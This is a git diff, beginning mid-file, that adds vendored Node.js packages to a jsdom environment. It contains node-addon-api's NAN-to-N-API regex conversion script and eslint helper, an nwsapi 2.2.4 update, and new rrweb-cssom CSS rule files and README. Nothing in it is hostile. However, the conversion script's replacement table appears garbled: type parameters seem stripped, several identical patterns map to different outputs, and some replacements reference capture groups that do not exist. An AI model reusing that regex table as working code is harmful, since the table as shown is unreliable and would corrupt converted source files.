Napi::ObjectWrap<$1>'], + [/(\w+)\(([^)]*)\)\s*:\s*Nan::ObjectWrap\(\)\s*(,)?/gm, '$1($2) : Napi::ObjectWrap<$1>()$3'], + + // HandleOKCallback to OnOK + [/HandleOKCallback/g, 'OnOK'], + // HandleErrorCallback to OnError + [/HandleErrorCallback/g, 'OnError'], + + // ex. .As() to .As() + [/\.As\(\)/g, '.As()'], + [/\.As<(Value|Boolean|String|Number|Object|Array|Symbol|External|Function)>\(\)/g, '.As()'], + + // ex. Nan::New(info[0]) to Napi::Number::New(info[0]) + [/Nan::New<(v8::)*Integer>\((.+?)\)/g, 'Napi::Number::New(env, $2)'], + [/Nan::New\(([0-9.]+)\)/g, 'Napi::Number::New(env, $1)'], + [/Nan::New<(v8::)*String>\("(.+?)"\)/g, 'Napi::String::New(env, "$2")'], + [/Nan::New\("(.+?)"\)/g, 'Napi::String::New(env, "$1")'], + [/Nan::New<(v8::)*(.+?)>\(\)/g, 'Napi::$2::New(env)'], + [/Nan::New<(.+?)>\(\)/g, 'Napi::$1::New(env)'], + [/Nan::New<(v8::)*(.+?)>\(/g, 'Napi::$2::New(env, '], + [/Nan::New<(.+?)>\(/g, 'Napi::$1::New(env, '], + [/Nan::NewBuffer\(/g, 'Napi::Buffer::New(env, '], + // TODO: Properly handle this + [/Nan::New\(/g, 'Napi::New(env, '], + + [/\.IsInt32\(\)/g, '.IsNumber()'], + [/->IsInt32\(\)/g, '.IsNumber()'], + + [/(.+?)->BooleanValue\(\)/g, '$1.As().Value()'], + [/(.+?)->Int32Value\(\)/g, '$1.As().Int32Value()'], + [/(.+?)->Uint32Value\(\)/g, '$1.As().Uint32Value()'], + [/(.+?)->IntegerValue\(\)/g, '$1.As().Int64Value()'], + [/(.+?)->NumberValue\(\)/g, '$1.As().DoubleValue()'], + + // ex. Nan::To(info[0]) to info[0].Value() + [/Nan::To\((.+?)\)/g, '$2.To()'], + [/Nan::To<(Boolean|String|Number|Object|Array|Symbol|Function)>\((.+?)\)/g, '$2.To()'], + // ex. Nan::To(info[0]) to info[0].As().Value() + [/Nan::To\((.+?)\)/g, '$1.As().Value()'], + // ex. Nan::To(info[0]) to info[0].As().Int32Value() + [/Nan::To\((.+?)\)/g, '$1.As().Int32Value()'], + // ex. Nan::To(info[0]) to info[0].As().Int32Value() + [/Nan::To\((.+?)\)/g, '$1.As().Int32Value()'], + // ex. Nan::To(info[0]) to info[0].As().Uint32Value() + [/Nan::To\((.+?)\)/g, '$1.As().Uint32Value()'], + // ex. Nan::To(info[0]) to info[0].As().Int64Value() + [/Nan::To\((.+?)\)/g, '$1.As().Int64Value()'], + // ex. Nan::To(info[0]) to info[0].As().FloatValue() + [/Nan::To\((.+?)\)/g, '$1.As().FloatValue()'], + // ex. Nan::To(info[0]) to info[0].As().DoubleValue() + [/Nan::To\((.+?)\)/g, '$1.As().DoubleValue()'], + + [/Nan::New\((\w+)\)->HasInstance\((\w+)\)/g, '$2.InstanceOf($1.Value())'], + + [/Nan::Has\(([^,]+),\s*/gm, '($1).Has('], + [/\.Has\([\s|\\]*Nan::New<(v8::)*String>\(([^)]+)\)\)/gm, '.Has($1)'], + [/\.Has\([\s|\\]*Nan::New\(([^)]+)\)\)/gm, '.Has($1)'], + + [/Nan::Get\(([^,]+),\s*/gm, '($1).Get('], + [/\.Get\([\s|\\]*Nan::New<(v8::)*String>\(([^)]+)\)\)/gm, '.Get($1)'], + [/\.Get\([\s|\\]*Nan::New\(([^)]+)\)\)/gm, '.Get($1)'], + + [/Nan::Set\(([^,]+),\s*/gm, '($1).Set('], + [/\.Set\([\s|\\]*Nan::New<(v8::)*String>\(([^)]+)\)\s*,/gm, '.Set($1,'], + [/\.Set\([\s|\\]*Nan::New\(([^)]+)\)\s*,/gm, '.Set($1,'], + + // ex. node::Buffer::HasInstance(info[0]) to info[0].IsBuffer() + [/node::Buffer::HasInstance\((.+?)\)/g, '$1.IsBuffer()'], + // ex. node::Buffer::Length(info[0]) to info[0].Length() + [/node::Buffer::Length\((.+?)\)/g, '$1.As>().Length()'], + // ex. node::Buffer::Data(info[0]) to info[0].Data() + [/node::Buffer::Data\((.+?)\)/g, '$1.As>().Data()'], + [/Nan::CopyBuffer\(/g, 'Napi::Buffer::Copy(env, '], + + // Nan::AsyncQueueWorker(worker) + [/Nan::AsyncQueueWorker\((.+)\);/g, '$1.Queue();'], + [/Nan::(Undefined|Null|True|False)\(\)/g, 'env.$1()'], + + // Nan::ThrowError(error) to Napi::Error::New(env, error).ThrowAsJavaScriptException() + [/([ ]*)return Nan::Throw(\w*?)Error\((.+?)\);/g, '$1Napi::$2Error::New(env, $3).ThrowAsJavaScriptException();\n$1return env.Null();'], + [/Nan::Throw(\w*?)Error\((.+?)\);\n(\s*)return;/g, 'Napi::$1Error::New(env, $2).ThrowAsJavaScriptException();\n$3return env.Null();'], + [/Nan::Throw(\w*?)Error\((.+?)\);/g, 'Napi::$1Error::New(env, $2).ThrowAsJavaScriptException();\n'], + // Nan::RangeError(error) to Napi::RangeError::New(env, error) + [/Nan::(\w*?)Error\((.+)\)/g, 'Napi::$1Error::New(env, $2)'], + + [/Nan::Set\((.+?),\n* *(.+?),\n* *(.+?),\n* *(.+?)\)/g, '$1.Set($2, $3, $4)'], + + [/Nan::(Escapable)?HandleScope\s+(\w+)\s*;/g, 'Napi::$1HandleScope $2(env);'], + [/Nan::(Escapable)?HandleScope/g, 'Napi::$1HandleScope'], + [/Nan::ForceSet\(([^,]+), ?/g, '$1->DefineProperty('], + [/\.ForceSet\(Napi::String::New\(env, "(\w+)"\),\s*?/g, '.DefineProperty("$1", '], + // [ /Nan::GetPropertyNames\(([^,]+)\)/, '$1->GetPropertyNames()' ], + [/Nan::Equals\(([^,]+),/g, '$1.StrictEquals('], + + [/(.+)->Set\(/g, '$1.Set('], + + [/Nan::Callback/g, 'Napi::FunctionReference'], + + [/Nan::Persistent/g, 'Napi::ObjectReference'], + [/Nan::ADDON_REGISTER_FUNCTION_ARGS_TYPE target/g, 'Napi::Env& env, Napi::Object& target'], + + [/(\w+)\*\s+(\w+)\s*=\s*Nan::ObjectWrap::Unwrap<\w+>\(info\.This\(\)\);/g, '$1* $2 = this;'], + [/Nan::ObjectWrap::Unwrap<(\w+)>\((.*)\);/g, '$2.Unwrap<$1>();'], + + [/Nan::NAN_METHOD_RETURN_TYPE/g, 'void'], + [/NAN_INLINE/g, 'inline'], + + [/Nan::NAN_METHOD_ARGS_TYPE/g, 'const Napi::CallbackInfo&'], + [/NAN_METHOD\(([\w\d:]+?)\)/g, 'Napi::Value $1(const Napi::CallbackInfo& info)'], + [/static\s*NAN_GETTER\(([\w\d:]+?)\)/g, 'Napi::Value $1(const Napi::CallbackInfo& info)'], + [/NAN_GETTER\(([\w\d:]+?)\)/g, 'Napi::Value $1(const Napi::CallbackInfo& info)'], + [/static\s*NAN_SETTER\(([\w\d:]+?)\)/g, 'void $1(const Napi::CallbackInfo& info, const Napi::Value& value)'], + [/NAN_SETTER\(([\w\d:]+?)\)/g, 'void $1(const Napi::CallbackInfo& info, const Napi::Value& value)'], + [/void Init\((v8::)*Local<(v8::)*Object> exports\)/g, 'Napi::Object Init(Napi::Env env, Napi::Object exports)'], + [/NAN_MODULE_INIT\(([\w\d:]+?)\);/g, 'Napi::Object $1(Napi::Env env, Napi::Object exports);'], + [/NAN_MODULE_INIT\(([\w\d:]+?)\)/g, 'Napi::Object $1(Napi::Env env, Napi::Object exports)'], + + [/::(Init(?:ialize)?)\(target\)/g, '::$1(env, target, module)'], + [/constructor_template/g, 'constructor'], + + [/Nan::FunctionCallbackInfo<(v8::)?Value>[ ]*& [ ]*info\)[ ]*{\n*([ ]*)/gm, 'Napi::CallbackInfo& info) {\n$2Napi::Env env = info.Env();\n$2'], + [/Nan::FunctionCallbackInfo<(v8::)*Value>\s*&\s*info\);/g, 'Napi::CallbackInfo& info);'], + [/Nan::FunctionCallbackInfo<(v8::)*Value>\s*&/g, 'Napi::CallbackInfo&'], + + [/Buffer::HasInstance\(([^)]+)\)/g, '$1.IsBuffer()'], + + [/info\[(\d+)\]->/g, 'info[$1].'], + [/info\[([\w\d]+)\]->/g, 'info[$1].'], + [/info\.This\(\)->/g, 'info.This().'], + [/->Is(Object|String|Int32|Number)\(\)/g, '.Is$1()'], + [/info.GetReturnValue\(\).SetUndefined\(\)/g, 'return env.Undefined()'], + [/info\.GetReturnValue\(\)\.Set\(((\n|.)+?)\);/g, 'return $1;'], + + // ex. Local to Napi::Value + [/v8::Local/g, 'Napi::$1'], + [/Local<(Value|Boolean|String|Number|Object|Array|Symbol|External|Function)>/g, 'Napi::$1'], + + // Declare an env in helper functions that take a Napi::Value + [/(\w+)\(Napi::Value (\w+)(,\s*[^()]+)?\)\s*{\n*([ ]*)/gm, '$1(Napi::Value $2$3) {\n$4Napi::Env env = $2.Env();\n$4'], + + // delete #include and/or + [/#include +(<|")(?:node|nan).h("|>)/g, '#include $1napi.h$2\n#include $1uv.h$2'], + // NODE_MODULE to NODE_API_MODULE + [/NODE_MODULE/g, 'NODE_API_MODULE'], + [/Nan::/g, 'Napi::'], + [/nan.h/g, 'napi.h'], + + // delete .FromJust() + [/\.FromJust\(\)/g, ''], + // delete .ToLocalCheck() + [/\.ToLocalChecked\(\)/g, ''], + [/^.*->SetInternalFieldCount\(.*$/gm, ''], + + // replace using node; and/or using v8; to using Napi; + [/using (node|v8);/g, 'using Napi;'], + [/using namespace (node|Nan|v8);/g, 'using namespace Napi;'], + // delete using v8::Local; + [/using v8::Local;\n/g, ''], + // replace using v8::XXX; with using Napi::XXX + [/using v8::([A-Za-z]+);/g, 'using Napi::$1;'] + +]; + +const paths = listFiles(dir); +paths.forEach(function (dirEntry) { + const filename = dirEntry.split('\\').pop().split('/').pop(); + + // Check whether the file is a source file or a config file + // then execute function accordingly + const sourcePattern = /.+\.h|.+\.cc|.+\.cpp/; + if (sourcePattern.test(filename)) { + convertFile(dirEntry, SourceFileOperations); + } else if (ConfigFileOperations[filename] != null) { + convertFile(dirEntry, ConfigFileOperations[filename]); + } +}); + +function listFiles (dir, filelist) { + const files = fs.readdirSync(dir); + filelist = filelist || []; + files.forEach(function (file) { + if (file === 'node_modules') { + return; + } + + if (fs.statSync(path.join(dir, file)).isDirectory()) { + filelist = listFiles(path.join(dir, file), filelist); + } else { + filelist.push(path.join(dir, file)); + } + }); + return filelist; +} + +function convert (content, operations) { + for (let i = 0; i < operations.length; i++) { + const operation = operations[i]; + content = content.replace(operation[0], operation[1]); + } + return content; +} + +function convertFile (fileName, operations) { + fs.readFile(fileName, 'utf-8', function (err, file) { + if (err) throw err; + + file = convert(file, operations); + + fs.writeFile(fileName, file, function (err) { + if (err) throw err; + }); + }); +} diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/eslint-format.js b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/eslint-format.js new file mode 100644 index 00000000..6923ab7b --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/eslint-format.js @@ -0,0 +1,79 @@ +#!/usr/bin/env node + +const spawn = require('child_process').spawnSync; + +const filesToCheck = '*.js'; +const FORMAT_START = process.env.FORMAT_START || 'main'; +const IS_WIN = process.platform === 'win32'; +const ESLINT_PATH = IS_WIN ? 'node_modules\\.bin\\eslint.cmd' : 'node_modules/.bin/eslint'; + +function main (args) { + let fix = false; + while (args.length > 0) { + switch (args[0]) { + case '-f': + case '--fix': + fix = true; + break; + default: + } + args.shift(); + } + + // Check js files that change on unstaged file + const fileUnStaged = spawn( + 'git', + ['diff', '--name-only', '--diff-filter=d', FORMAT_START, filesToCheck], + { + encoding: 'utf-8' + } + ); + + // Check js files that change on staged file + const fileStaged = spawn( + 'git', + ['diff', '--name-only', '--cached', '--diff-filter=d', FORMAT_START, filesToCheck], + { + encoding: 'utf-8' + } + ); + + const options = [ + ...fileStaged.stdout.split('\n').filter((f) => f !== ''), + ...fileUnStaged.stdout.split('\n').filter((f) => f !== '') + ]; + + if (fix) { + options.push('--fix'); + } + + const result = spawn(ESLINT_PATH, [...options], { + encoding: 'utf-8' + }); + + if (result.error && result.error.errno === 'ENOENT') { + console.error('Eslint not found! Eslint is supposed to be found at ', ESLINT_PATH); + return 2; + } + + if (result.status === 1) { + console.error('Eslint error:', result.stdout); + const fixCmd = 'npm run lint:fix'; + console.error(`ERROR: please run "${fixCmd}" to format changes in your commit + Note that when running the command locally, please keep your local + main branch and working branch up to date with nodejs/node-addon-api + to exclude un-related complains. + Or you can run "env FORMAT_START=upstream/main ${fixCmd}". + Also fix JS files by yourself if necessary.`); + return 1; + } + + if (result.stderr) { + console.error('Error running eslint:', result.stderr); + return 2; + } +} + +if (require.main === module) { + process.exitCode = main(process.argv.slice(2)); +} diff --git a/env_xbb_lastest_jsdom/node_modules/nwsapi/package.json b/env_xbb_lastest_jsdom/node_modules/nwsapi/package.json index 21f71b0e..81b95d0c 100644 --- a/env_xbb_lastest_jsdom/node_modules/nwsapi/package.json +++ b/env_xbb_lastest_jsdom/node_modules/nwsapi/package.json @@ -1,6 +1,6 @@ { "name": "nwsapi", - "version": "2.2.2", + "version": "2.2.4", "description": "Fast CSS Selectors API Engine", "homepage": "http://javascript.nwbox.com/nwsapi/", "main": "./src/nwsapi", diff --git a/env_xbb_lastest_jsdom/node_modules/nwsapi/src/nwsapi.js b/env_xbb_lastest_jsdom/node_modules/nwsapi/src/nwsapi.js index d5ec57c6..efee39e6 100644 --- a/env_xbb_lastest_jsdom/node_modules/nwsapi/src/nwsapi.js +++ b/env_xbb_lastest_jsdom/node_modules/nwsapi/src/nwsapi.js @@ -5,9 +5,9 @@ * nwsapi.js - Fast CSS Selectors API Engine * * Author: Diego Perini - * Version: 2.2.0 + * Version: 2.2.4 * Created: 20070722 - * Release: 20220901 + * Release: 20230408 * * License: * http://javascript.nwbox.com/nwsapi/MIT-LICENSE @@ -30,12 +30,14 @@ })(this, function Factory(global, Export) { - var version = 'nwsapi-2.2.2', + var version = 'nwsapi-2.2.4', doc = global.document, root = doc.documentElement, slice = Array.prototype.slice, + HSP = '[\\x20\\t]', + VSP = '[\\r\\n\\f]', WSP = '[\\x20\\t\\r\\n\\f]', CFG = { @@ -57,10 +59,10 @@ HasEscapes: RegExp('\\\\'), HexNumbers: RegExp('^[0-9a-fA-F]'), EscOrQuote: RegExp('^\\\\|[\\x22\\x27]'), - RegExpChar: RegExp('(?:(?!\\\\)[\\\\^$.*+?()[\\]{}|\\/])', 'g'), - TrimSpaces: RegExp('[\\r\\n\\f]|^' + WSP + '+|' + WSP + '+$', 'g'), + RegExpChar: RegExp('(?!\\\\)[\\\\^$.,*+?()[\\]{}|\\/]', 'g'), + TrimSpaces: RegExp('^' + WSP + '+|' + WSP + '+$|' + VSP, 'g'), + SplitGroup: RegExp('(\\([^)]*\\)|\\[[^[]*\\]|\\\\.|[^,])+', 'g'), CommaGroup: RegExp('(\\s*,\\s*)' + NOT.square_enc + NOT.parens_enc, 'g'), - SplitGroup: RegExp('((?:\\x28[^\\x29]*\\x29|\\[[^\\]]*\\]|\\\\.|[^,])+)', 'g'), FixEscapes: RegExp('\\\\([0-9a-fA-F]{1,6}' + WSP + '?|.)|([\\x22\\x27])', 'g'), CombineWSP: RegExp('[\\n\\r\\f\\x20]+' + NOT.single_enc + NOT.double_enc, 'g'), TabCharWSP: RegExp('(\\x20?\\t+\\x20?)' + NOT.single_enc + NOT.double_enc, 'g'), @@ -76,7 +78,7 @@ GROUPS = { // pseudo-classes requiring parameters linguistic: '(dir|lang)\\x28\\s?([-\\w]{2,})\\s?(?:\\x29|$)', - logicalsel: '(is|where|matches|not)\\x28\\s?([^()]*|[^\\x28]*\\x28[^\\x29]*\\x29)\\s?(?:\\x29|$)', + logicalsel: '(is|where|matches|not)\\x28\\s?([^\\[]*\\[[^\\]]*\\]|[^()]*|[^\\(]*\\([^\\)]*\\)|[^()]*)\\s?(?:\\x29|$)', treestruct: '(nth(?:-last)?(?:-child|-of-type))(?:\\x28\\s?(even|odd|(?:[-+]?\\d*)(?:n\\s?[-+]?\\s?\\d*)?)\\s?(?:\\x29|$))', // pseudo-classes not requiring parameters locationpc: '(any-link|link|visited|target)\\b', @@ -133,7 +135,7 @@ // special handling configuration flags Config = { IDS_DUPES: true, - MIXEDCASE: true, + NONDIGITS: true, LOGERRORS: true, VERBOSITY: true }, @@ -221,21 +223,6 @@ return list; }, - // check context for mixed content - hasMixedCaseTagNames = - function(context) { - var ns, api = 'getElementsByTagNameNS'; - - // current host context (ownerDocument) - context = context.ownerDocument || context; - - // documentElement (root) element namespace or default html/xhtml namespace - ns = context.documentElement.namespaceURI || 'http://www.w3.org/1999/xhtml'; - - // checking the number of non HTML nodes in the document - return (context[api]('*', '*').length - context[api](ns, '*').length) > 0; - }, - switchContext = function(context, force) { var oldDoc = doc; @@ -359,7 +346,7 @@ // context agnostic getElementById byId = function(id, context) { - var e, nodes, api = method['#']; + var e, i, l, nodes, api = method['#']; // duplicates id allowed if (Config.IDS_DUPES === false) { @@ -606,7 +593,7 @@ var identifier = // doesn't start with a digit - '(?=[^0-9])' + + (Config.NONDIGITS ? '(?=[^0-9])' : '') + // can start with double dash '(?:-{2}' + // may include ascii chars @@ -781,7 +768,7 @@ // N is the negation pseudo-class flag // D is the default inverted negation flag - var a, b, n, f, i, l, name, NS, N = '', D = '!', + var a, b, n, f, k = 0, name, NS, N = '', D = '!', compat, expr, match, result, status, symbol, test, type, selector = expression, selector_string, vars; @@ -797,6 +784,8 @@ while (selector) { + ++k; + // get namespace prefix if present or get first char of selector symbol = STD.apimethods.test(selector) ? '|' : selector[0]; @@ -829,10 +818,7 @@ // tag name resolver case (/[_a-z]/i.test(symbol) ? symbol : undefined): match = selector.match(Patterns.tagName); - source = 'if(' + N + '(e.localName' + - (Config.MIXEDCASE || hasMixedCaseTagNames(doc) ? - '=="' + match[1].toLowerCase() + '"' : - '=="' + match[1].toUpperCase() + '"') + + source = 'if(' + N + '(e.localName' + '=="' + match[1] + '"' + ')){' + source + '}'; break; @@ -885,26 +871,26 @@ // E ~ F (F relative sibling of E) case '~': match = selector.match(Patterns.relative); - source = 'n=e;while((e=e.previousElementSibling)){' + source + '}e=n;'; + source = 'var N' + k + '=e;while(e&&(e=e.previousElementSibling)){' + source + '}e=N' + k + ';'; break; // *** Adjacent sibling combinator // E + F (F adiacent sibling of E) case '+': match = selector.match(Patterns.adjacent); - source = 'n=e;if((e=e.previousElementSibling)){' + source + '}e=n;'; + source = 'var N' + k + '=e;if(e&&(e=e.previousElementSibling)){' + source + '}e=N' + k + ';'; break; // *** Descendant combinator // E F (E ancestor of F) case '\x09': case '\x20': match = selector.match(Patterns.ancestor); - source = 'n=e;while((e=e.parentElement)){' + source + '}e=n;'; + source = 'var N' + k + '=e;while(e&&(e=e.parentElement)){' + source + '}e=N' + k + ';'; break; // *** Child combinator // E > F (F children of E) case '>': match = selector.match(Patterns.children); - source = 'n=e;if((e=e.parentElement)){' + source + '}e=n;'; + source = 'var N' + k + '=e;if(e&&(e=e.parentElement)){' + source + '}e=N' + k + ';'; break; // *** user supplied combinators extensions @@ -1081,7 +1067,7 @@ } // *** user actions pseudo-classes - // :hover, :active, :focus + // :hover, :active, :focus, :focus-within else if ((match = selector.match(Patterns.useraction))) { match[1] = match[1].toLowerCase(); switch (match[1]) { @@ -1102,7 +1088,7 @@ break; case 'focus-within': source = 'hasFocus' in doc ? - 'n=s.doc.activeElement;while(e){if(e===n||e.parentNode===n)break;}' + + 'n=s.doc.activeElement;if(n===e)break;while(e&&(e=e.parentNode)){if(n===e)break;}' + 'if(' + N + '(e===n&&s.doc.hasFocus()&&(e.type||e.href||typeof e.tabIndex=="number"))){' + source + '}' : source; break; default: @@ -1564,7 +1550,7 @@ factory[i] ? factory[i](htmlset[i](), callback, context, results) : - result.concat(htmlset[i]()); + results.concat(htmlset[i]()); } if (l > 1) { diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/LICENSE.txt b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/LICENSE.txt new file mode 100644 index 00000000..bc57aacd --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/LICENSE.txt @@ -0,0 +1,20 @@ +Copyright (c) Nikita Vasilyev + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/README.mdown b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/README.mdown new file mode 100644 index 00000000..38d295c0 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/README.mdown @@ -0,0 +1,67 @@ +# CSSOM + +CSSOM.js is a CSS parser written in pure JavaScript. It is also a partial implementation of [CSS Object Model](http://dev.w3.org/csswg/cssom/). + + CSSOM.parse("body {color: black}") + -> { + cssRules: [ + { + selectorText: "body", + style: { + 0: "color", + color: "black", + length: 1 + } + } + ] + } + + +## [Parser demo](http://nv.github.com/CSSOM/docs/parse.html) + +Works well in Google Chrome 6+, Safari 5+, Firefox 3.6+, Opera 10.63+. +Doesn't work in IE < 9 because of unsupported getters/setters. + +To use CSSOM.js in the browser you might want to build a one-file version that exposes a single `CSSOM` global variable: + + ➤ git clone https://github.com/NV/CSSOM.git + ➤ cd CSSOM + ➤ node build.js + build/CSSOM.js is done + +To use it with Node.js or any other CommonJS loader: + + ➤ npm install cssom + +## Don’t use it if... + +You parse CSS to mungle, minify or reformat code like this: + +```css +div { + background: gray; + background: linear-gradient(to bottom, white 0%, black 100%); +} +``` + +This pattern is often used to give browsers that don’t understand linear gradients a fallback solution (e.g. gray color in the example). +In CSSOM, `background: gray` [gets overwritten](http://nv.github.io/CSSOM/docs/parse.html#css=div%20%7B%0A%20%20%20%20%20%20background%3A%20gray%3B%0A%20%20%20%20background%3A%20linear-gradient(to%20bottom%2C%20white%200%25%2C%20black%20100%25)%3B%0A%7D). +It does **NOT** get preserved. + +If you do CSS mungling, minification, or image inlining, considere using one of the following: + + * [postcss](https://github.com/postcss/postcss) + * [reworkcss/css](https://github.com/reworkcss/css) + * [csso](https://github.com/css/csso) + * [mensch](https://github.com/brettstimmerman/mensch) + + +## [Tests](http://nv.github.com/CSSOM/spec/) + +To run tests locally: + + ➤ git submodule init + ➤ git submodule update + + +## [Who uses CSSOM.js](https://github.com/NV/CSSOM/wiki/Who-uses-CSSOM.js) diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSConditionRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSConditionRule.js new file mode 100644 index 00000000..8d77efa4 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSConditionRule.js @@ -0,0 +1,25 @@ +//.CommonJS +var CSSOM = { + CSSRule: require("./CSSRule").CSSRule, + CSSGroupingRule: require("./CSSGroupingRule").CSSGroupingRule +}; +///CommonJS + + +/** + * @constructor + * @see https://www.w3.org/TR/css-conditional-3/#the-cssconditionrule-interface + */ +CSSOM.CSSConditionRule = function CSSConditionRule() { + CSSOM.CSSGroupingRule.call(this); + this.cssRules = []; +}; + +CSSOM.CSSConditionRule.prototype = new CSSOM.CSSGroupingRule(); +CSSOM.CSSConditionRule.prototype.constructor = CSSOM.CSSConditionRule; +CSSOM.CSSConditionRule.prototype.conditionText = '' +CSSOM.CSSConditionRule.prototype.cssText = '' + +//.CommonJS +exports.CSSConditionRule = CSSOM.CSSConditionRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSDocumentRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSDocumentRule.js new file mode 100644 index 00000000..aec0776e --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSDocumentRule.js @@ -0,0 +1,39 @@ +//.CommonJS +var CSSOM = { + CSSRule: require("./CSSRule").CSSRule, + MatcherList: require("./MatcherList").MatcherList +}; +///CommonJS + + +/** + * @constructor + * @see https://developer.mozilla.org/en/CSS/@-moz-document + */ +CSSOM.CSSDocumentRule = function CSSDocumentRule() { + CSSOM.CSSRule.call(this); + this.matcher = new CSSOM.MatcherList(); + this.cssRules = []; +}; + +CSSOM.CSSDocumentRule.prototype = new CSSOM.CSSRule(); +CSSOM.CSSDocumentRule.prototype.constructor = CSSOM.CSSDocumentRule; +CSSOM.CSSDocumentRule.prototype.type = 10; +//FIXME +//CSSOM.CSSDocumentRule.prototype.insertRule = CSSStyleSheet.prototype.insertRule; +//CSSOM.CSSDocumentRule.prototype.deleteRule = CSSStyleSheet.prototype.deleteRule; + +Object.defineProperty(CSSOM.CSSDocumentRule.prototype, "cssText", { + get: function() { + var cssTexts = []; + for (var i=0, length=this.cssRules.length; i < length; i++) { + cssTexts.push(this.cssRules[i].cssText); + } + return "@-moz-document " + this.matcher.matcherText + " {" + cssTexts.join("") + "}"; + } +}); + + +//.CommonJS +exports.CSSDocumentRule = CSSOM.CSSDocumentRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSFontFaceRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSFontFaceRule.js new file mode 100644 index 00000000..7a537fb0 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSFontFaceRule.js @@ -0,0 +1,36 @@ +//.CommonJS +var CSSOM = { + CSSStyleDeclaration: require("./CSSStyleDeclaration").CSSStyleDeclaration, + CSSRule: require("./CSSRule").CSSRule +}; +///CommonJS + + +/** + * @constructor + * @see http://dev.w3.org/csswg/cssom/#css-font-face-rule + */ +CSSOM.CSSFontFaceRule = function CSSFontFaceRule() { + CSSOM.CSSRule.call(this); + this.style = new CSSOM.CSSStyleDeclaration(); + this.style.parentRule = this; +}; + +CSSOM.CSSFontFaceRule.prototype = new CSSOM.CSSRule(); +CSSOM.CSSFontFaceRule.prototype.constructor = CSSOM.CSSFontFaceRule; +CSSOM.CSSFontFaceRule.prototype.type = 5; +//FIXME +//CSSOM.CSSFontFaceRule.prototype.insertRule = CSSStyleSheet.prototype.insertRule; +//CSSOM.CSSFontFaceRule.prototype.deleteRule = CSSStyleSheet.prototype.deleteRule; + +// http://www.opensource.apple.com/source/WebCore/WebCore-955.66.1/css/WebKitCSSFontFaceRule.cpp +Object.defineProperty(CSSOM.CSSFontFaceRule.prototype, "cssText", { + get: function() { + return "@font-face {" + this.style.cssText + "}"; + } +}); + + +//.CommonJS +exports.CSSFontFaceRule = CSSOM.CSSFontFaceRule; +///CommonJS diff --git a/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSGroupingRule.js b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSGroupingRule.js new file mode 100644 index 00000000..0d97eac3 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSGroupingRule.js @@ -0,0 +1,69 @@ +//.CommonJS +var CSSOM = { + CSSRule: require("./CSSRule").CSSRule, + parse: require('./parse').parse +}; +///CommonJS + + +/** + * @constructor + * @see https://drafts.csswg.org/cssom/#the-cssgroupingrule-interface + */ +CSSOM.CSSGroupingRule = function CSSGroupingRule() { + CSSOM.CSSRule.call(this); + this.cssRules = []; +}; + +CSSOM.CSSGroupingRule.prototype = new CSSOM.CSSRule(); +CSSOM.CSSGroupingRule.prototype.constructor = CSSOM.CSSGroupingRule; + + +/** + * Used to insert a new CSS rule to a list of CSS rules. + * + * @example + * cssGroupingRule.cssText + * -> "body{margin:0;}" + * cssGroupingRule.insertRule("img{border:none;}", 1) + * -> 1 + * cssGroupingRule.cssText + * -> "body{margin:0;}img{border:none;}" + * + * @param {string} rule + * @param {number} [index] + * @see https://www.w3.org/TR/cssom-1/#dom-cssgroupingrule-insertrule + * @return {number} The index within the grouping rule's collection of the newly inserted rule. + */ + CSSOM.CSSGroupingRule.prototype.insertRule = function insertRule(rule, index) { + if (index < 0 || index > this.cssRules.length) { + throw new RangeError("INDEX_SIZE_ERR"); + } + var cssRule = CSSOM.parse(rule).cssRules[0]; + cssRule.parentRule = this; + this.cssRules.splice(index, 0, cssRule); + return index; +}; + +/** + * Used to delete a rule from the grouping rule. + * + * cssGroupingRule.cssText + * -> "img{border:none;}body{margin:0;}" + * cssGroupingRule.deleteRule(0) + * cssGroupingRule.cssText + * -> "body{margin:0;}" + * + * @param {number} index within the grouping rule's rule list of the rule to remove. + * @see https://www.w3.org/TR/cssom-1/#dom-cssgroupingrule-deleterule + */ + CSSOM.CSSGroupingRule.prototype.deleteRule = function deleteRule(index) { + if (index < 0 || index >= this.cssRules.length) { + throw new RangeError("INDEX_SIZE_ERR"); + } + this.cssRules.splice(index, 1)[0].parentRule = null; +}; + +//.CommonJS 